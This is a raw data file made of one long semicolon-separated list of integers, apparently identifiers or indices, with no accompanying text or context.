104872;12733;96692;66122;34571;18281;80707;79738;64032;99916;16277;59985;105684;90980;80678;71754;55035;54876;105811;38606;42179;74948;93234;46776;36320;71706;49227;40324;69299;13734;15244;30413;40305;36585;70586;35484;71646;37520;63228;96224;58251;82522;81915;58757;89184;99824;87317;49526;57583;53797;50521;92509;97372;70974;42414;81960;99817;70370;42183;64748;34065;19074;56275;46043;100662;59131;105677;53206;101517;26893;26404;30333;104558;77759;62121;77134;52593;13011;82519;21911;20256;79180;90999;24115;90536;70108;52889;10981;25672;95513;91050;42341;11954;101540;101129;57648;57661;87455;39850;44586;61478;87282;30338;107143;59579;86014;87355;106414;29943;91837;34362;16296;84781;45507;67831;76590;58432;105230;35980;84835;89668;66756;45321;34155;23128;30494;26992;74237;53142;70558;35357;64702;78292;43584;200139;105621;80510;200099;45678;56036;91599;84478;87742;40106;41975;49950;40359;58952;28797;22791;93691;48528;73990;102908;87535;105574;26258;81090;57091;58103;96122;97397;32986;60329;107005;97109;66334;58350;49310;81591;84388;25086;100086;24144;90434;49209;61671;33352;81572;49267;97949;88157;82322;58090;91509;67007;68956;70491;84132;11098;78747;18637;71908;36463;104030;63979;49747;56905;54678;59442;68704;55257;75942;60982;70767;91619;94417;67355;86567;33892;99926;61862;92533;104339;99819;68024;93207;49683;25465;40047;25876;85435;61967;96087;10657;44534;69305;38372;57151;76817;71647;57550;63179;74151;77874;85547;53980;63135;91146;18262;105532;90656;71162;50543;33040;68804;17426;14869;81672;31461;105896;78107;18064;63434;62225;32731;73889;48240;91354;62223;83821;12974;60471;102904;21034;11854;20609;73576;70242;19462;55833;105813;79787;58226;106865;42225;15928;79910;59201;47355;94534;69531;87871;17512;25305;54280;68212;67664;81424;76341;89056;99126;41863;63370;61734;49068;32880;100807;22284;39258;60533;11998;48404;92449;17391;35911;89453;14717;54225;62039;85210;41641;17437;43721;28676;19138;75891;101240;41754;91774;52061;84498;31294;40055;60791;68498;13958;23779;95641;86387;70708;94556;63916;42215;103378;73220;103904;25230;87927;88178;10424;62815;86156;106576;69825;26074;85105;11599;49289;104720;25846;11503;29326;57949;20046;67811;96690;62882;79337;50047;79113;12498;85114;30085;15927;99128;14557;30890;101229;40968;28610;106761;13262;25041;38858;80732;33377;11733;56838;38301;77673;74649;17164;52139;99908;63535;41508;43130;10998;40104;32177;55607;102659;81630;70172;41602;86362;102932;100926;83027;97236;24453;40240;64479;50991;91016;68609;22469;21482;42485;62910;66027;62937;25604;104606;23735;86143;29235;57536;34272;61514;92911;53158;85586;11031;91570;55033;93818;19721;32894;71837;75235;18927;65859;53069;67499;74779;57912;85027;54076;81969;94179;69415;25477;10701;88025;44244;102667;32123;68211;35325;76580;17501;45276;31264;22657;45166;11814;45894;22291;15850;82454;103343;66102;28210;60306;10884;45086;39480;52830;59308;101367;17371;25550;66892;38243;40161;102886;102061;26823;82750;106686;77879;65715;64850;59532;102740;67942;72466;49113;92678;51223;73527;47735;15400;79308;70049;99010;20022;86238;43024;34484;87481;26609;22200;93671;42981;22750;44646;64508;200092;18391;63469;53558;65075;48450;106707;104951;101904;30786;102395;87324;16190;51772;55967;104252;67963;15804;65149;32957;100683;32117;22622;96616;45344;36745;13849;53909;54164;105303;83327;30898;63251;101153;103211;51464;59154;53215;21714;43255;100153;105804;51051;79281;95519;103050;21465;12456;10370;79940;27941;23531;73317;27248;66094;16903;71472;74116;93339;97687;67238;22190;62371;39676;101356;65110;29510;61152;16446;67264;32964;58553;63125;47135;43156;29228;26755;72525;100110;53857;29499;72549;65748;95775;83129;45744;102161;12850;59444;29973;101320;32795;88912;47204;28856;28574;23591;24398;14013;68149;96718;77272;55855;101620;59772;49301;61027;62011;45559;21976;87881;58314;88067;104366;103431;46528;91096;13959;34890;22205;80056;67651;62444;55302;105072;34756;100832;66009;41210;49730;32706;97573;83601;12488;50500;14782;47901;29479;65569;40227;50088;87792;106557;68679;101764;25366;99570;29576;16097;93382;99371;25778;46433;23654;11432;42002;68210;71888;83344;58381;53463;55275;30748;80906;81879;76553;11631;11918;73942;49465;48296;60153;15616;38297;85807;95335;32980;101408;102315;90086;82626;58013;52887;28706;40916;40579;60244;20482;95793;72131;104827;70504;101371;67205;84152;76886;31607;60556;99553;103059;49222;19718;53411;96198;87435;77367;29749;44415;67134;25188;39796;83603;33881;70148;57376;38554;69416;54056;105006;85479;46432;89671;23204;81574;44990;43364;25213;83395;74722;65280;18541;52691;99074;19923;85678;63195;59240;19869;15272;21215;34852;42398;94992;33469;60421;14630;22882;46679;16153;96933;36221;88463;27349;56254;92505;53922;42517;86902;10030;33631;29422;66879;57722;96060;40866;42740;16649;16032;17158;89098;103499;29702;83774;59631;27390;48314;97579;105939;77806;15772;85216;56100;74289;71880;38692;78783;15934;91928;91425;101509;42009;71899;84968;18620;61437;63078;74314;99563;27139;26603;33408;37746;13542;14510;97174;48509;45865;13219;95977;74507;97343;100168;106706;68148;200126;59336;59981;31503;106817;44664;44890;52930;60330;73261;45057;27330;18988;39459;78872;64624;80105;47843;55815;17684;93711;55789;23817;101249;59745;49913;56071;32579;27298;96432;71743;68996;96778;11802;94874;17469;74474;35709;85527;90035;11394;89091;31661;52341;46392;38280;31276;99778;36714;65763;77348;11084;37909;27590;76766;105783;58759;89136;25779;61892;49607;97914;38623;200111;97167;57334;96785;45955;99432;71088;81834;63710;86895;67820;43296;65398;53488;34392;53222;43055;90480;64433;40262;67855;12564;27984;75630;70311;45694;65655;69161;79507;68437;74676;57638;69954;42101;68073;100992;26559;15595;106425;36540;20588;77165;82236;105428;38569;32803;13123;73918;82870;40581;93009;30989;42012;70728;71876;19843;91606;95394;85523;42639;100471;28814;74219;13741;46563;12448;81386;42948;64257;85949;79026;29948;48992;23406;72768;28986;80396;14136;21160;22226;81077;70785;18897;30644;101352;44589;63790;11153;105888;43310;59276;56710;12487;84254;93834;28104;96581;43072;49759;78632;104090;28241;17535;60066;54475;29239;44168;76995;52652;56703;10160;70852;67683;77096;78882;90465;54473;59779;12068;31703;50066;54559;33139;38826;80039;92913;77075;23948;34234;99349;89815;78577;58911;47245;31239;23083;97897;54104;72278;58477;80469;102953;25900;64986;82815;40570;71967;78553;83158;21711;34450;22686;54256;75918;60664;77520;63917;14339;86765;10381;64844;102381;67328;79299;75690;83330;28290;63133;59323;61378;96758;68774;99739;86155;86498;76509;73142;48832;80015;74707;89262;72715;57176;76836;89264;40831;97242;44655;58058;66631;35104;11842;11843;55018;60981;45608;57759;86921;21324;53612;15197;67662;62623;10881;93320;54632;22643;16842;92065;60401;29051;90088;56448;66576;58810;37310;19002;38303;18152;10167;50351;59237;36242;31511;22300;28286;69300;67100;93785;36004;16890;66236;67808;35557;49784;22653;35543;34108;13178;81069;46257;104543;38953;16615;69321;42989;10695;35280;80283;97928;22871;36875;68819;90645;61979;78120;35632;20164;17608;25024;95870;67104;100026;17542;50551;87992;46889;83598;93315;32333;30987;104377;44324;27629;74497;71491;105210;83838;66032;14762;41130;85566;104164;36996;75364;58448;104760;86106;99855;72117;90937;102699;70382;65498;81547;80882;68063;79077;65716;82021;31950;89960;41365;63180;88058;80513;84577;26764;42297;71863;88552;94022;64030;70761;22099;16325;90624;65826;51015;49322;102031;63631;46652;23438;45596;60764;90671;60905;38400;20535;77743;23254;23235;21885;45904;74208;61297;84255;104191;57512;49473;43307;100302;33380;95741;100363;99399;69539;79065;63478;77555;27007;81875;55660;76020;65737;26605;49087;27165;94559;67478;62155;49003;25164;11600;54093;15051;67258;47855;20790;45103;76789;21996;25243;104877;68919;71286;38716;11578;71872;29767;53340;37766;94654;66594;82210;86406;12084;28475;90547;89416;25934;14347;29481;10461;93395;25719;59918;41552;12744;68433;40371;21060;102889;39929;75230;16914;60031;28761;33544;49560;17253;84305;103563;18161;42723;71753;79425;29790;79136;81197;34552;26818;39262;58337;34254;23844;38578;23920;16671;85356;88135;18065;44694;17321;86864;24532;87172;63493;54755;80959;22678;20564;93289;55125;75030;66057;21784;16557;65785;94013;56056;96621;106203;51180;55266;22869;60492;26419;93263;75388;76479;105273;39799;69390;95540;84876;64912;105083;101297;100969;10195;55506;24250;19065;91234;69966;24433;91977;90123;58287;63837;77482;93591;41156;83953;76923;48251;79158;60331;81171;26027;45115;87205;86842;82469;34427;35900;19166;71551;85578;43873;77127;18634;54535;92284;28513;64341;29739;76575;26450;80364;30235;42035;93362;21500;76133;23732;100865;106192;34440;82280;51586;21690;105056;103206;26510;41880;90584;68237;43205;37116;12670;59947;32506;21594;59519;19880;71877;54271;91758;32671;24551;82945;30025;47828;102097;54381;46456;43892;54579;80066;89789;33749;69051;44858;50739;99833;50441;85278;82927;11699;73904;103636;97359;83981;89890;47553;106971;88748;29221;29107;66747;41793;23532;22929;90827;67234;41586;69026;83435;18261;29819;36827;83254;18518;102498;51299;97302;85334;20283;26244;84324;25533;60630;15541;44992;61079;70999;90165;54379;38073;53633;85858;22183;11803;103056;27227;60976;90340;88963;15544;42574;106442;50888;53471;11395;33013;53073;38993;29972;72782;45107;18992;90961;18319;10035;100420;47282;82103;89919;85401;15648;92132;15475;103204;103275;48851;65752;28303;106829;24052;10041;57491;74681;60174;86781;80564;49677;87156;38324;60958;26978;81896;99939;103914;103152;97308;10556;18450;101146;29288;14527;97803;84536;59488;53324;71866;34549;22097;100010;89623;48931;22692;39878;58736;79560;22958;94387;77299;75980;22182;47759;49692;13143;82987;103207;57718;36979;87824;54361;89930;61063;35641;54323;20660;34699;62207;11188;38637;35516;94242;100991;45190;91685;86595;54298;49067;26182;76372;17993;87140;11861;51411;73575;68625;70460;90640;38344;31527;101789;83206;93305;50079;73913;89329;42715;27960;86286;75405;14942;79419;61360;34293;81713;57764;60319;93796;100404;93308;26625;19354;16870;18113;87305;97081;66059;99048;46196;75978;24527;84260;22010;53985;101480;16034;71208;36422;23721;40348;20080;65844;57675;76745;74809;30532;83755;93466;79248;47113;14173;91981;19697;104990;91699;60482;53370;91382;93637;43630;10944;60560;84034;73239;30557;90405;33920;12589;93576;103712;54111;22930;83442;12525;101868;55988;42804;41590;27506;60704;87681;71951;15362;102629;102543;44637;19384;64992;68725;77062;59959;86072;75034;40855;50996;68615;101082;77548;105663;91017;46908;80714;84739;32310;81238;81206;57184;78498;89055;47016;41108;20983;26367;76941;34257;38904;22324;24092;24517;99359;20419;10054;92374;36123;89999;94967;46275;87293;57395;75995;77465;66642;50862;85193;69393;56321;93364;44658;22308;60449;75027;61712;55537;101905;18474;37764;78392;93653;25331;90746;47651;42146;67703;106861;49075;46217;85470;71587;63730;81152;67377;66968;56012;15241;103994;75865;58532;78635;20293;73144;37604;95433;38728;13134;103335;20071;30337;106211;26218;54444;39951;56120;63860;56544;44489;11914;104253;23179;12848;89034;94873;80803;106538;82141;102152;72660;14998;43800;17226;87507;82829;62997;86565;75884;65068;62533;36929;77310;15455;81051;32414;71241;59673;63400;35991;11588;13006;33056;79384;55383;54650;84429;54684;44967;95537;40275;24900;48255;33431;94938;95683;59081;30132;84136;24824;87844;59791;96416;90505;61215;99929;21703;93085;13012;68248;59630;101920;84839;105054;99856;14369;41293;58949;26652;88509;86768;107145;88572;44048;88539;73064;36071;96868;50952;67928;70709;18855;67249;101959;35037;76087;40496;14916;103021;12502;13893;54973;19359;10684;44105;36947;93331;38103;16082;75759;56179;22509;103886;46655;10509;99683;61674;20735;100071;81075;62965;64640;82253;71024;76037;72931;90166;36762;78634;15746;53925;83567;11506;33466;63420;93989;94868;39854;60307;66316;94463;34118;51390;19992;104436;78789;38399;106812;96964;73545;10604;40956;96350;25379;46578;55060;49572;28968;73005;77231;45248;30165;54599;84785;45588;63808;69720;17150;33902;28024;28205;93042;32251;71318;19988;64810;21331;48905;51991;33391;26274;69364;23156;100115;76687;13022;59634;80874;97921;74018;77504;64057;81914;35642;85276;104117;90381;84751;86611;16664;27517;65775;103879;88522;20511;15694;15580;107122;93413;94966;22449;60286;51064;37404;14255;104032;45944;44521;63345;41202;25505;95328;46441;56020;102080;101632;72405;19650;54995;93710;68195;21001;105064;17657;80107;77815;71240;102497;101269;45648;12816;67745;97563;79544;70810;36942;60037;56721;69742;88994;25445;92938;40028;63191;51089;44051;52881;95725;101881;70032;67567;23751;93654;23382;53019;93536;59366;102018;63772;12557;104485;43805;27993;46782;42861;100788;63408;85422;70618;92447;52295;57239;68309;80000;92972;103381;56313;29620;27220;45808;39704;99877;93988;40107;56659;45977;74941;27936;102833;74588;27801;93683;93860;32903;53295;50667;87712;44172;30610;78527;99829;44115;82992;26479;28829;11390;100455;41047;53163;66114;92166;54813;31602;79274;76148;56620;61705;39453;52854;72776;88640;73525;97591;57142;78782;30397;58588;44699;59092;27364;41422;70327;20170;106560;22048;16442;23392;47535;43336;21344;18048;23283;96042;73264;39599;10689;72868;72123;47792;30070;30687;28773;64429;27846;95337;46912;83595;82251;15765;89239;10570;10465;69562;49335;32113;72816;86790;27695;56213;86298;61850;29985;30841;53723;100357;85366;89343;12682;35639;54106;42844;96656;31722;104435;80143;32324;35336;106060;104162;31068;86303;45161;52427;27091;83750;38912;43090;57856;104205;63572;44467;55082;96761;95401;43184;23243;31101;42226;63515;10720;76240;39275;32799;74308;27362;20294;80318;97431;97105;101032;31528;27643;29368;16702;93254;51997;36044;102413;23585;65863;76988;11019;97051;11731;43504;50932;44860;87765;10691;70668;60585;69323;86841;61477;48965;99129;105481;55418;55149;54946;22566;61202;55632;74643;81405;18136;62258;65348;67763;75169;26655;89450;90766;88608;58045;50416;82269;104675;50767;60014;74629;18844;74860;18244;80492;103685;36251;14070;39158;82761;57957;68179;89497;36233;106769;63516;15085;53681;104070;101495;80147;66599;30077;49826;50870;79890;43927;22349;27031;91701;43192;13539;80269;51818;76304;60699;47827;30258;75813;37624;101048;63138;54181;97143;27741;63919;106290;12013;38025;61148;16475;24596;10002;25203;90108;99391;99410;86590;58250;30528;72731;29353;54828;87517;78720;79086;67341;66257;87066;97773;58006;20213;63285;71511;23713;81616;49519;76379;75440;57013;21188;82094;66630;81529;28213;56471;28100;64389;79238;83772;12548;18321;44736;86516;54014;15894;72194;97671;22646;55291;71637;66036;50305;46430;79134;57004;34442;99446;66906;33319;64861;35591;93523;35377;57276;16926;37695;47511;90028;79383;86761;54203;77435;34864;41481;92396;50456;94472;82602;25628;91324;45656;28982;22023;17051;73436;81756;79598;50605;26234;79900;51922;77713;27287;26808;95692;65468;46535;56212;36324;41990;83656;32127;63699;103726;42281;62826;61945;41543;26555;53051;38478;51759;96298;70699;58028;27906;104651;72028;33302;42210;15404;92071;82746;13792;41456;14563;75924;57975;105206;28851;51861;20375;34229;13521;68356;26787;16727;14431;23441;23040;25989;42988;34141;20653;77954;11456;56335;46041;63733;23362;52654;76170;81184;41094;89589;92053;59183;10419;97207;33439;61936;94834;24728;28899;16483;31383;91801;16818;99538;50231;28410;62219;48329;91262;87790;57370;91306;26034;51248;46046;10798;51113;26245;105625;19627;39900;77767;37897;79411;89590;61735;60141;105382;40874;49698;70670;104125;81178;31187;94667;77499;15538;44530;41923;92220;80087;75914;88077;56537;15745;106631;26651;43446;28430;19724;65350;28647;94360;15924;48249;18055;77736;50829;47688;56412;20800;105235;17530;47205;86350;29589;84914;41213;19634;32239;99798;25995;71677;59687;39123;58773;85967;63507;93719;79379;83510;49922;65192;38935;19294;27583;105384;92259;41544;68898;63650;50034;55117;16025;37619;72082;70146;62018;83172;57443;50389;72220;54821;46248;73739;54073;74659;76564;96365;13704;46434;59728;67874;12114;16690;41866;105603;64768;25241;67252;80974;70031;90498;31712;105041;72554;101079;38703;66020;74488;70077;36270;65862;99006;25268;15013;100555;47885;40194;22424;26192;89593;46621;15504;90970;80692;16781;16792;101796;61722;65362;67309;105136;89489;88928;23832;83764;87389;19105;47515;105319;91735;71307;13512;20208;29800;23073;11388;71836;54826;103566;15891;23155;23766;57531;80709;60805;15945;58072;32039;86222;88128;69602;49551;56426;85361;77616;13672;46032;78916;96074;14485;12941;53412;29951;48682;101926;73994;89238;12326;56922;45234;82068;73769;17534;45129;12829;105700;51643;76204;40074;25926;22154;56067;84308;22222;26459;85290;19636;86771;63060;63374;62650;79361;69138;11116;27574;87910;101593;25691;63661;84392;77070;55187;27112;16642;74502;70652;21803;16091;89540;31809;41137;74611;82913;100155;40589;101361;105092;41826;87768;49292;34576;65400;30607;52001;14823;104238;25808;64227;24064;43835;31168;86965;26554;76706;94753;18861;102732;68884;45239;42855;35291;56653;95370;74060;78878;73232;60008;21257;72943;19781;58325;23144;68194;74658;103346;74952;86952;49323;78870;92278;12856;58894;64492;35147;106613;99518;26613;43442;45368;70908;28593;49878;94312;44565;87181;17436;58906;18650;71540;43435;46649;30197;56370;19529;51720;87862;44961;56080;100614;101045;56742;74725;30218;70809;20708;42841;79033;27786;93872;27788;31524;65877;105828;31925;42810;34125;76642;83102;37987;14495;105101;34351;102945;88422;61398;42588;95616;14771;20738;21892;58395;97489;50223;34431;17126;75579;68683;20815;77071;91269;86116;89332;42034;61377;57410;68907;26571;38751;65753;43763;75327;104407;55456;34831;53145;34594;17076;56013;16050;87359;99377;63532;55178;58285;40294;64961;62257;50700;77308;55235;11790;24833;62835;29959;36122;45341;93230;26008;59232;33980;94368;51375;104496;29911;12363;85766;40679;106074;80905;25982;10161;80549;42133;90658;37735;35514;28671;28522;34324;45414;94512;62923;18466;62854;39130;88747;70492;17045;24360;83582;72136;45669;36749;21036;87757;84688;78126;55380;27029;59318;31658;86980;21435;68913;85790;50813;41153;24584;100620;40346;42534;62813;44396;16365;80525;55158;15376;59610;69445;42293;41034;67792;34670;76130;88657;57084;56553;103696;73955;72219;79307;73172;95259;70414;66686;23526;50361;97613;61489;35031;86914;30052;28925;19851;55400;63328;52634;78006;76329;93175;89310;82239;102735;97887;100760;73470;49686;79628;12596;47177;62756;19820;48501;75025;85238;26405;88929;43018;82226;26976;88106;43574;42084;59238;26162;17174;11183;42807;87071;31916;75938;75427;42198;36853;39419;80907;99862;75524;82536;105070;33772;105789;38192;37820;22552;67554;93086;55464;105661;25029;45909;88616;86435;51863;84993;54697;43977;48844;54484;15652;14477;104491;59176;91021;49529;33306;86707;27034;78247;29947;78889;47035;104984;41824;95289;15412;37219;74891;62515;100593;105760;25125;57316;10071;85387;18025;64760;15605;97266;28651;41295;55047;57735;15048;21042;36515;50331;69951;87147;74096;34938;70559;88072;68749;96599;89095;31454;56526;25165;56684;91863;32258;97855;55899;57127;93135;93746;45145;93082;75621;97370;77935;32855;49705;37159;65178;87145;48455;100063;56112;23903;35738;50148;93862;101543;90950;28581;15561;71048;22225;58563;46884;103003;14021;93519;88590;100173;73052;15354;35174;42461;79988;82588;41930;55565;53388;19510;31668;63382;45693;24139;102956;88981;61822;26640;55649;62729;82673;15352;15817;65904;21350;58018;12339;87475;84890;21438;44768;67022;64985;35378;33226;85339;41268;36332;16533;63371;63806;91350;101790;22705;104680;65495;41006;69457;80584;41051;96888;21167;30969;15458;53597;25150;106124;102692;72594;94926;79632;41538;25333;96291;62374;103928;22914;96743;84511;90483;10468;15550;78424;35948;101286;17232;69598;46407;97743;106659;32819;100375;21284;106656;76435;96225;59626;75933;16251;43481;64776;35327;51413;44566;41399;41383;61692;84099;82586;12313;36360;80743;30905;64224;17730;70880;48154;50132;28464;103945;92559;102287;85860;51181;54391;21695;105457;74811;19469;100678;68138;49469;99787;61316;14086;50519;60869;74985;84006;81913;200024;70922;15953;48952;46694;90770;31151;52114;73014;60874;80459;89019;11210;35891;18615;54406;14391;24181;87976;63280;12077;54143;40567;43625;87510;92939;19558;13803;96071;100876;81489;16036;26663;102495;23147;57332;60921;67886;97246;19402;51952;35763;42721;43409;65014;58405;41084;79675;33260;75564;83479;63082;43116;97837;26257;105843;46024;28368;84830;74262;14760;15307;99583;105566;62401;65507;73101;87452;101252;25152;34203;19867;84214;68703;61984;61891;97534;72401;23077;25857;54101;81308;60365;12432;37444;96814;63105;18979;28919;103322;55532;31719;96124;57518;32740;29001;36454;37093;96609;63203;22341;35230;94114;21596;67011;54586;17309;37001;85758;88895;28642;37065;62402;56291;62266;47715;59671;87968;106959;71040;94336;63812;100023;64228;38024;104887;72114;75706;41277;61094;42697;12627;76350;26751;96201;45473;75831;23269;59696;34076;91284;88460;21633;40061;48554;63740;70993;23150;11873;68503;55216;89853;38899;32539;78909;89953;106522;90816;39222;50212;71212;38764;19657;85904;103316;97684;82272;12780;39770;61493;91730;34959;39256;45394;48370;50910;48165;105003;80287;32160;47607;92592;100256;96906;104995;93276;99525;42379;78180;31223;13474;35982;14024;84172;48781;42652;96600;60548;66178;60299;103160;84770;14728;43337;99668;99063;49981;12844;106107;42720;28566;37089;78941;95918;58782;39971;20885;76134;58457;54699;74835;73791;89619;61631;50479;70105;11628;107124;48485;37380;96118;15181;39713;21650;103897;54962;29117;100915;90675;92983;75005;43128;65254;62565;76448;84881;69120;53087;51232;18422;101845;71609;38844;16503;87966;38176;96947;103262;13350;40075;63020;35781;45153;45447;25092;23321;30003;47433;102299;21385;57235;47187;45557;24015;80184;21487;103988;72288;65666;14669;55754;27962;90216;65645;93008;39707;86918;54866;19844;85423;95776;64140;104850;76246;87767;50238;29667;47086;14751;70635;92011;44680;88654;92236;88521;29603;103294;49216;102284;12122;44321;101682;22774;17211;11682;69737;27728;26670;93627;83918;37428;88826;26255;35984;96174;21716;63008;36033;60558;75057;27932;56009;18955;54370;88059;67213;67891;34397;40337;101251;43428;41603;64467;81338;11404;72509;94045;53668;21986;57650;45017;99665;43902;20862;72761;43876;101423;27470;93895;10261;17333;59313;78510;94101;73681;76269;10903;25055;59044;11217;48209;49342;39178;69813;61624;81249;25178;15427;69528;67785;32072;46929;33963;51546;12722;89720;40709;42563;105839;100781;33877;17745;71640;96288;37151;81088;88667;51228;35054;60344;41807;56189;97229;11208;86475;48324;22242;83095;40518;95025;87190;92745;15340;31146;82107;46989;42958;88891;92144;103416;73451;21854;54857;75965;40297;52037;50241;60270;46238;78158;80535;73029;82457;97904;83242;13018;69256;102959;27097;33848;79372;17215;83832;58146;74460;94587;34947;72656;55724;26435;105972;18337;53321;50827;30137;90073;66656;106056;39753;47100;21792;84497;23299;95644;36393;106674;43616;62069;44892;101647;44267;58674;72072;73039;64808;55409;52688;76807;47686;103538;27274;75743;88687;90990;74566;82890;63139;87285;57267;106593;73301;80514;104755;52361;35316;20474;101872;103553;101585;34010;42682;23218;66353;36781;32528;26686;88886;32602;24758;90212;24711;103079;93398;36773;34087;30553;84548;12692;20417;83935;88564;16149;58847;61932;70219;88900;53802;55769;90668;72018;76413;101555;100888;20988;31377;90687;32781;28465;81119;91326;66229;48617;87945;78048;34111;31051;200029;45979;34930;100335;84726;65337;19782;12994;68451;84386;27556;92534;45187;78841;99449;61518;48541;32573;28561;22248;91205;60089;71995;45296;30835;64930;99002;79879;56820;68516;11201;96446;22245;63925;75088;33807;93504;77670;37545;90450;54682;63866;97883;71500;81989;44249;30623;33215;67471;58801;71348;68468;10788;55612;85947;15187;103245;26096;103409;20724;102291;46975;29197;44238;37830;35839;80031;101375;103309;102244;37853;23473;45357;26582;21503;29369;104138;63528;46971;40555;62949;12354;81012;92628;78369;28431;104499;63617;89309;24932;24055;75491;84629;89015;59262;65558;17422;76426;73387;52772;96612;14314;64355;94361;16210;16087;83578;24953;22071;12389;28938;30588;94581;44770;52812;32281;101866;66681;71526;68208;61776;87850;71817;72711;50762;47071;33855;47865;69626;30710;92754;100076;19790;80223;33564;42504;81779;37068;79501;43678;61474;21249;37676;56052;105134;35662;40478;58984;10677;104816;49171;105280;31680;20944;57277;40896;38894;19598;94543;75141;38654;81493;26850;76263;51394;14445;65987;46412;18359;76720;105840;70417;30366;84493;26368;24257;20828;39457;63742;74425;27035;105375;19107;47031;31009;51382;63027;84967;94678;28788;93703;37618;15226;82173;69925;12633;100673;21581;27157;14837;26912;76622;29031;41393;101288;31420;93854;18928;60118;20216;14378;94787;37875;44840;54990;93160;49142;73506;13668;104462;14130;28538;20922;15883;96733;41876;34909;60312;30114;43709;89189;62872;97805;69773;56800;53041;103051;71945;19067;82373;22805;48182;27613;29772;95947;73752;80660;101204;90819;56294;96195;32613;67840;88570;55562;64730;68111;31225;21825;63965;96495;52847;69488;47771;17810;97827;50366;87713;62889;48928;61554;29781;92734;65747;11929;102490;69775;43576;105750;34160;44643;58954;103796;43107;12993;61407;74485;17711;24406;64026;61394;74057;90836;38010;12048;85568;27046;59071;87957;42422;93471;87719;61920;82628;89943;43157;67498;82408;25338;59694;58198;65960;60891;14539;15849;87291;49514;33208;91478;40425;47166;86410;39813;12845;55078;94637;97213;14143;35440;105431;85539;97176;57841;12554;91391;34874;61379;57634;94931;36735;33115;50970;33865;106355;54665;45032;36362;77542;93550;41457;90172;33433;19478;81435;55928;77810;46714;40158;39546;26805;97072;52034;76071;27956;65606;77941;43123;12661;18320;95809;45683;42666;63796;48241;46474;55687;60317;32797;80588;53194;83022;39184;42010;60724;79965;40660;66323;46134;45858;80083;72234;84883;12940;90419;81297;46846;59008;82304;46242;33071;31176;82737;73139;87364;80579;10654;71523;100332;52513;13086;19440;14358;46061;13838;68790;80235;91043;81363;86249;70542;103899;63351;10120;34415;46099;18314;72235;80116;85529;26614;26810;22353;27374;86503;65849;86205;83379;54972;43792;50913;27973;10292;80779;90313;69153;72721;77203;34546;36772;62850;67493;44811;72667;93909;97510;60570;17169;84652;79087;79877;80181;18643;48518;73555;76823;23412;57674;24199;78067;79118;68035;100301;86332;105808;30984;80475;64295;11827;64096;38137;82273;59268;86368;26656;91670;15265;82076;32593;37271;11561;95420;47342;92573;54801;54220;53742;61231;60213;55509;67687;63311;29155;96865;87089;59516;80285;59148;58828;107096;52307;64101;60472;68188;42806;87428;44431;20577;70615;17177;74792;21656;37996;34599;79722;68877;49232;20576;23826;77893;54825;65754;69703;29327;93340;38480;78942;14144;61688;80033;71291;64849;50699;10925;27766;46643;99085;60410;34443;52043;91640;91929;105186;86659;47434;15248;10803;56853;17681;36913;47833;92125;78014;74458;68806;53057;15930;86978;105944;52033;27776;63924;55832;12524;101590;72516;76690;51524;67537;37851;92520;23335;76169;82990;106232;43638;84985;84744;55932;46140;65690;23581;12846;97537;39976;35199;37623;81098;29566;66635;48625;65308;19387;97561;47576;55836;68952;78104;65669;104475;88461;89527;19797;38497;27841;16297;99589;79256;58880;57730;100350;88730;28868;19454;94303;55163;95342;103304;41357;44333;81917;41721;56584;97920;70608;16407;85574;47168;99386;58890;26427;103353;40929;18285;14435;20561;23793;11350;64047;57582;84767;62848;65361;27204;11569;99260;21898;20915;46320;55129;30339;57157;71973;57381;60398;18408;47070;99292;36705;92463;38451;13491;67883;75288;58324;70194;20602;26774;52665;59013;28495;20972;97404;68242;75216;82400;84062;46660;26332;21750;71044;39286;39252;85615;68934;55985;103671;102873;54513;67648;59731;41411;87806;77305;79549;26752;29850;70945;73539;106957;78537;60257;16014;78667;69969;53083;51026;90296;78521;24730;15942;28042;76041;21567;21821;78116;35271;55656;37079;41578;81695;104618;71801;58980;28215;43620;71449;88553;87922;25674;94367;81800;79264;77486;61723;11276;67991;26076;93744;48922;34799;25197;52098;104318;60476;19983;26276;56356;28178;89636;25958;28479;80854;16244;72537;55293;29983;17539;53154;42344;25078;106642;81455;85591;89606;87541;55137;89794;32837;77650;15868;102787;105698;64854;11093;80915;42994;43104;62574;20049;58092;44163;48354;100464;105404;101893;43240;39089;73148;42056;66917;65952;79426;55772;45342;55120;51919;16012;87310;49338;50494;82556;84905;68293;62477;23824;94128;66509;58607;55034;29419;80710;59818;99793;83640;60409;93712;75758;93639;54115;56697;31402;68049;51104;74353;21368;52622;101550;75713;12800;55478;13979;71319;60155;60364;105904;28893;97793;86704;23465;44919;34225;79333;79024;100511;39624;56661;58562;83668;44103;51481;18997;78905;88953;88622;26901;102459;39592;30981;40171;66405;80947;35616;23719;96128;88586;22942;101761;101133;57145;20414;85995;41392;38972;73558;12634;31795;36131;39051;56934;38670;11581;36921;85186;70700;62853;40322;97664;95411;15098;46244;83164;19693;45937;46387;105094;96076;38689;95681;27749;58383;73109;38489;76908;82742;69474;103427;83261;82012;22878;57776;85318;105556;46455;61186;91209;31200;103662;84748;17835;24652;49472;42508;90775;52082;71838;39742;26007;29797;94448;47010;79428;34310;36248;104753;87467;57285;53184;10416;90921;42468;22193;70541;44615;39097;85942;18463;47432;25975;40290;17254;90164;16695;72350;42862;53408;23452;99082;75271;64867;31147;51269;79505;70120;17262;56492;56957;29550;64104;63131;16427;75571;70528;59606;55115;103768;15255;41769;38100;75799;83448;61877;97355;24452;23813;34308;52434;28275;48621;27012;44068;17369;88425;54733;38788;77173;62740;92119;72950;50887;13367;79349;73030;34746;40861;104773;85482;90800;61409;60725;105249;48495;15642;17077;28157;46357;32352;36502;23238;69978;53487;103458;75937;62918;79302;48367;30711;106062;59068;60757;84949;88582;29118;101465;77050;74711;49561;37664;16829;37696;104690;62844;83883;13440;87773;29698;200015;16079;27048;15058;61949;18963;40680;38773;88726;22314;32248;42015;30345;89446;95777;61627;43920;26904;15417;39320;71305;62216;91843;11563;55805;101549;94440;32300;76174;23571;58356;13763;67299;35334;41836;37158;53407;56473;103578;103516;31796;62692;19687;49077;29162;93279;70724;62130;49865;57853;10123;51428;92631;82680;70234;50455;96345;49161;10551;21113;95898;52670;86024;46634;102424;72492;11256;93049;68370;96662;25680;19882;88766;58057;68829;26604;45301;25648;18240;16328;37043;13942;36993;105976;41158;97933;58056;62587;19000;34146;43121;79339;62443;63821;102554;40517;74212;60357;71009;96388;24186;68815;59754;69674;39350;68061;66028;48874;38392;26224;101999;66980;90307;76652;30234;71402;59934;83544;47852;53013;83709;90912;78880;55745;68737;84385;48486;19081;14977;96883;49623;48994;104660;14810;15321;52003;18443;94697;92430;21504;101344;105438;88955;17144;54118;45971;16171;18163;102263;91301;40181;23289;